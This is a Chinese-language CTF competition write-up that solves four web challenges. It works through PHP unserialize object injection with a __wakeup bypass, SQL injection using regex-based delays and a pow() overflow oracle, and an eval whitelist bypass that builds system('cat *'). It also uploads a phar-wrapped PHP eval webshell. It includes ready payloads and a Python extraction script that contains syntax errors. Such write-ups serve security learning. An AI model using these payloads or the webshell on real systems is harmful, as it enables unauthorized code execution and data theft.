国赛WP
第一次和队友一块肝,虽然输出不高(划掉,几乎没有输出),不过也是坚持到了最后,记一下比赛过程中的思路和之后的解题步骤。
web1 just soso
看源码发现提示
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
php封装协议file=php://filter/read=convert.base64-encode/resource=hint.php可读index.php和hint.php的源码,base64解码得到源码如下
Index.php
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
Hint.php
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>
可以看到是反序列化的问题,存在正则匹配ban掉了“flag”,所以不能直接读flag.php,反序列化构造中也需要用到flag,url地址三斜杠可绕过foreach的遍历;
__wakeup中会this->$k = null;会将this指向空,需要绕过,__wakeup触发于unserilize()调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得__wakeup失效。所以再反序列化后,将Handle类的对象个数改变就可绕过;
MD5的if($this->token === $this->token_flag)
本来以为是伪随机数种子,后来发现只需让$F->token=&$F->token_flag;即可
&表示取变量,让两个变量值关联起来
反序列化脚本
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
$F = new Flag('flag.php');
$F->token=&$F->token_flag;
$H = new Handle($F);
$test = serialize($H);
echo $test
?>
由于private的特性,需要在Handle和handle对象前面加上%00 或者/00
,\00但是前面的就应该改为S,不是s,因为如果是S那么类似\00abc 就是\0 a b c 四个字符,所以就是S:14:”\00Handle\00handle”
payload:
O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:
{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"12f73080e04ce0d8e95defb577ebc3f4";
s:10:"token_flag";R:4;}}
最终payload:
http://cce097dcc8944553906620bb82f4ad36dd057d6462bd4e30.changame.ichunqiu.com
///?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";
O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:
"token";s:32:"12f73080e04ce0d8e95defb577ebc3f4";s:10:"token_flag";R:4;}}
拿到flag
web2 全世界最简单的SQL
过滤了一堆东西,or
|
benchmark
sleep
if
get_lock
case
时间盲注过滤了三个sleep、benchmark和get_lock函数,但是后来超哥发现可以通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。
admin' union select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b')#
确实可以产生延迟,但是延迟之后是404,而且由于过滤了if,无法通过延迟进行查询,卡住)
之后队友发现通过pow函数,在某一特定范围内显示的登陆失败,超过某一范围是数据库操作失败,测试后发现’ union select pow(2,2014) #数据库操作失败,2013就是登陆失败,以此结合查询语句找到数据库名
语句:
a'union select pow(2,1997+ascii(substr(database(),1,1)))#
不知道为啥python显示中文为乱码,后来发现需要a.content.decode(‘utf-8’),虚拟机里跑不出来,需要装个python环境了
import requests
i=96
j=0
r=requests.session()
for j<20:
while i<156:
url='http://7325a6806d8140fd91c5b9b3082a6ed240b2e3ab52c64a46.changame.ichunqiu.com/?tdsourcetag=s_pctim_aiomsg'
data={'username':'a\'union select pow(2,"+str(2013-i)"+ascii(substr(database(),"+str(j)+",1))) #','password':'1'}
a=r.post(url,data=data)
if"数据库操作失败"in a.content.decode('utf-8'):
print(i)
break
else :i=i+1
j=j+1
print(i)
得到数据库名ctf,现在问题是or被ban了,information也不能用了,没法查表名没法查列名,老大说可以子查询绕过,通过构造子查询 给本来被ban(或者爆不出)的字段名换了个”名字”
先构造子查询的联合查询语句并指定别名
1' UNION SELECT 1,2,admin_x,4,5 FROM (SELECT 1 as admin_1,2 as admin_2,3 as admin_3 from admin WHERE 1=2 UNION SELECT * from admin)x %23
猜到表名为user,照着老大的博客构造还弄了好久,那个别名需要定义,否则会出错
a' union select pow(2,1997+ascii(substr((select admin_2 from (select 1 as admin_1 ,2 as admin_2 from user where 1=2 union select * from user)x) ,2,1))) #
改造上面的脚本爆出密码(队友爆出来的,脚本出了问题,burp手注,太慢了,菜醒)
得到密码登陆。
其他师傅们的思路 select cot(0)报错,select cot(1) 可以执行,之后就是布尔盲注结合子查询。
web3 love_math
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
有个eval
‘.’可以实现字符串的拼接,后来发现对16进制及以上进制异或运算可以得到字母,所给白名单又有base_convert函数,构造
base_convert(1751504350,10,36)(base_convert(784,10,36));(语句是system(ls))
看得到flag,但是现在问题是,cat flag.php 需要空格和.,用代替发现还是需要空格,cat<f中<又被处理成了小于号,卡住)
异或运算,用两个白名单函数和空格+异或,得到十进制数字,dechex后
再与那两个白名单函数异或,就可以回到空格,就可以执行system(cat *)拿到flag
,队友写的脚本,还不会写php,回头研究下(菜是原罪
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(19)^tan^exp))
(语句是system(cat *)点号将cat和 *拼接了起来
其他队伍使用的是 system(getallheaders(){9}),然后在headers里传了个9,tql⑧。
web4 RefSpace
文件包含,前面有文件读取操作
phar://
将
<?php @eval($_POST[a]);?>
写入1.php,将1.php压缩到1.zip,改后缀为1.jpg
?route=phar://upload/1.jpg.jpg/&a=
用蚁剑连接可以拿shell;